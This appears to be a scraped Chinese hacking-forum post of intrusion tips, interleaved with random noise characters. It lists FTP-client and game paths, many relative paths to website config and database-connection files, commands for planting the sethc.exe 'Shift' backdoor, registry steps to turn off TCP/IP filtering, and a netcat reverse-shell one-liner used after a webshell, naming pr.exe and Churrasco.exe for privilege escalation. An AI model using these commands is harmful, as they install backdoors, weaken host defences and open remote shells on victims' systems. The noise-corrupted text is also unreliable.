* `2 ]' U5 s9 t$ L5 J' HC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
0 H! O" G0 R2 Q' M$ ?3 Uc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
# P  n) W, k3 s/ R" n+ l9 Z+ o& hC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
- n3 T3 s* @, \5 w; _' i/ ?c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
8 C- T5 ^! I1 g3 [c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe

" k5 V: O/ B2 G( k3.网站相对路径:
' l& |6 H+ q; u  l
8 P" @/ N% T8 X7 c% d/config.php
# Z& {0 T; Y9 t) [../../config.php
" d5 Z( s. @7 F, i../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
# z" j7 u* ]" {* F% E4 X../../../config.inc.php
! S7 `8 }# P9 k7 T, W/conn.php
0 ^; v/ {, ?) }1 J: w- b./conn.php
../../conn.php
3 c4 O& b& H- o8 h../conn.php
  n3 u" _) B$ I7 t. j+ m- A../../../conn.php
% w7 y% Q# ^1 L4 e3 c4 ?/conn.asp
: _. A2 f; O. a" L3 }./conn.asp
; a+ z+ G& x6 w! w../../conn.asp
$ b# u+ o' P5 X4 _../conn.asp
: F4 g, p: _6 q. Z( g9 \& V../../../conn.asp
, H. N5 F- Q/ N- Z: O3 c/config.inc.php
' M# P7 G. u: n./config.inc.php
1 t+ `9 E& @( j8 l3 f0 d../../config.inc.php
1 V* ^% _) P* o8 a/ C../config.inc.php
../../../config.inc.php
/config/config.php
( v8 T* j1 L- I8 _' H4 T../../config/config.php
# b8 ~) Z! j: \! S../config/config.php
" [1 Z  d) D. I1 |8 Z+ Y../../../config/config.php
; F1 ]: B0 ^$ C& b/config/config.inc.php
7 J9 N8 Z+ p; |7 q' ]./config/config.inc.php
../../config/config.inc.php
3 H( ^7 N7 r+ H6 R../config/config.inc.php
" |4 X% R# M9 L" |" z5 K../../../config/config.inc.php
/config/conn.php
./config/conn.php
../../config/conn.php
../config/conn.php
5 @' L- r9 }8 E../../../config/conn.php
  X/ `  x6 H/ ~- {! l/config/conn.asp
/ f5 i: e3 p" V./config/conn.asp
1 |2 w3 E; m  T- W, M% v8 G../../config/conn.asp
% a$ z6 U3 H8 a4 x/ K7 s6 ~8 k9 |../config/conn.asp
5 ]" v7 B4 G1 o- J9 ]../../../config/conn.asp
/config/config.inc.php
' c: C  A4 ?$ C./config/config.inc.php
# d' x% t( D- E+ u5 i. A../../config/config.inc.php
5 t. x  o7 c3 s8 o! s../config/config.inc.php
../../../config/config.inc.php
) r2 A# r+ u4 w  k. D# f/data/config.php
2 O/ [. y/ l( @& O2 l, }% ~../../data/config.php
../data/config.php
3 t' T% t/ A1 L* Q- A../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
, p7 Z9 a0 q: c5 ?/ m2 ?../data/config.inc.php
../../../data/config.inc.php
- w1 Z, C0 \* [* p, z: `1 m$ S/data/conn.php
  n" _6 h" \( w: _0 D( C./data/conn.php
6 w7 J" R" a; p- I' k  h../../data/conn.php
../data/conn.php
../../../data/conn.php
/data/conn.asp
3 U5 X1 p( K4 R' b) o  V./data/conn.asp
../../data/conn.asp
../data/conn.asp
# K5 _, \4 G. t/ b, }! c" t  C../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
5 C0 D& ^/ A# @3 ^, H' d../data/config.inc.php
) k9 Y* o8 q: @* ~% P4 g../../../data/config.inc.php
; @5 Q% N! }* z3 e7 `" ^/ v+ ]7 ^% K/include/config.php
../../include/config.php
* {$ R- _5 K' K  z2 L7 z! W# m. F/ C../include/config.php
../../../include/config.php
' F1 N+ D: t" x2 c/ t, F/include/config.inc.php
./include/config.inc.php
- ~; B! {% [* r4 i5 p' W' D' L../../include/config.inc.php
1 D& V" o; d+ M+ ?../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
../../include/conn.php
../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
+ T$ Q9 s- H% A/ o# K) x6 P../../include/conn.asp
7 K; M: Z( b+ J( t  ~../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
% T7 \  y, Q+ Z* `6 A./include/config.inc.php
../../include/config.inc.php
$ ^6 e+ n) W- k( x( ~- G../include/config.inc.php
% b; `" @$ ?, M& m5 X2 ^../../../include/config.inc.php
/inc/config.php
- w1 l7 ~& l- a5 m3 e../../inc/config.php
../inc/config.php
+ U0 b9 Y- ]. G  `' j: J6 n../../../inc/config.php
" e9 S3 X2 Z, D7 G/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
1 R- R/ J2 [. T, n  f. F4 \../../../inc/config.inc.php
5 j- D; F, }% d$ r9 L/inc/conn.php
, D5 D, G% z6 c- C./inc/conn.php
) n5 Z* t) v! H: w# G7 N& F5 {../../inc/conn.php
( F. F; }3 E3 R../inc/conn.php
8 l) f# S: p5 J/ }  O../../../inc/conn.php
3 N3 p. t  @) S: i: I! o' K$ L% |/inc/conn.asp
3 D% e8 U7 S- l./inc/conn.asp
4 ?! t3 q* I& F  R0 X0 n, \% _../../inc/conn.asp
8 I" }, ?/ d: k7 L../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
9 G3 _5 Z4 m! I$ \1 L" z7 I../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
; R# L- P- I( p../../../index.php
/index.asp
./index.asp
/ s3 Q2 A; d0 y# ^' C../../index.asp
../index.asp
../../../index.asp
替换SHIFT后门
2 u! Y1 l# m7 I1 }7 q+ J* z( ^　attrib c:\windows\system32\sethc.exe -h -r -s
" P8 G8 U# v7 G( m& d& ]
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

. h0 ~; A2 b4 U" w6 N& ~　　del c:\windows\system32\sethc.exe

　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

( C$ R7 n* V# B* U  K% x: Y　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

8 Z9 k5 f- {4 e! D! x　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
; L: z8 a% }$ N' T( u+ @TCP/IP筛选在注册表里有三处，分别是：
( ?0 w0 l; z& K9 P& BHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
8 M: O4 ^6 u7 B+ {HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 I7 d% x( z8 E  R" C( S5 }regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& A2 N% V2 R" ^1 a( d1 P命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
! z, [% [- ^& Y+ L  [$ Fregedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
3 G9 B( i* O: ^0 ?2 v0 n" d  Y
1 E1 W1 a+ P* P9 S7 C; _webshell提权小技巧
) U  T: [# [' F- e$ ?3 }) B/ Z( Gcmd路径:
+ _& M6 l: j+ mc:\windows\temp\cmd.exe
) c" l" Y: \# F) w2 _$ g0 I+ Onc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

. o+ D- Y) e# l1 q  X而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
4 U' V. Z# }' k$ x; n) E5 L却能成功。。
这个不是重点
# y3 k3 T2 h% I$ _! J: q1 X  t我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功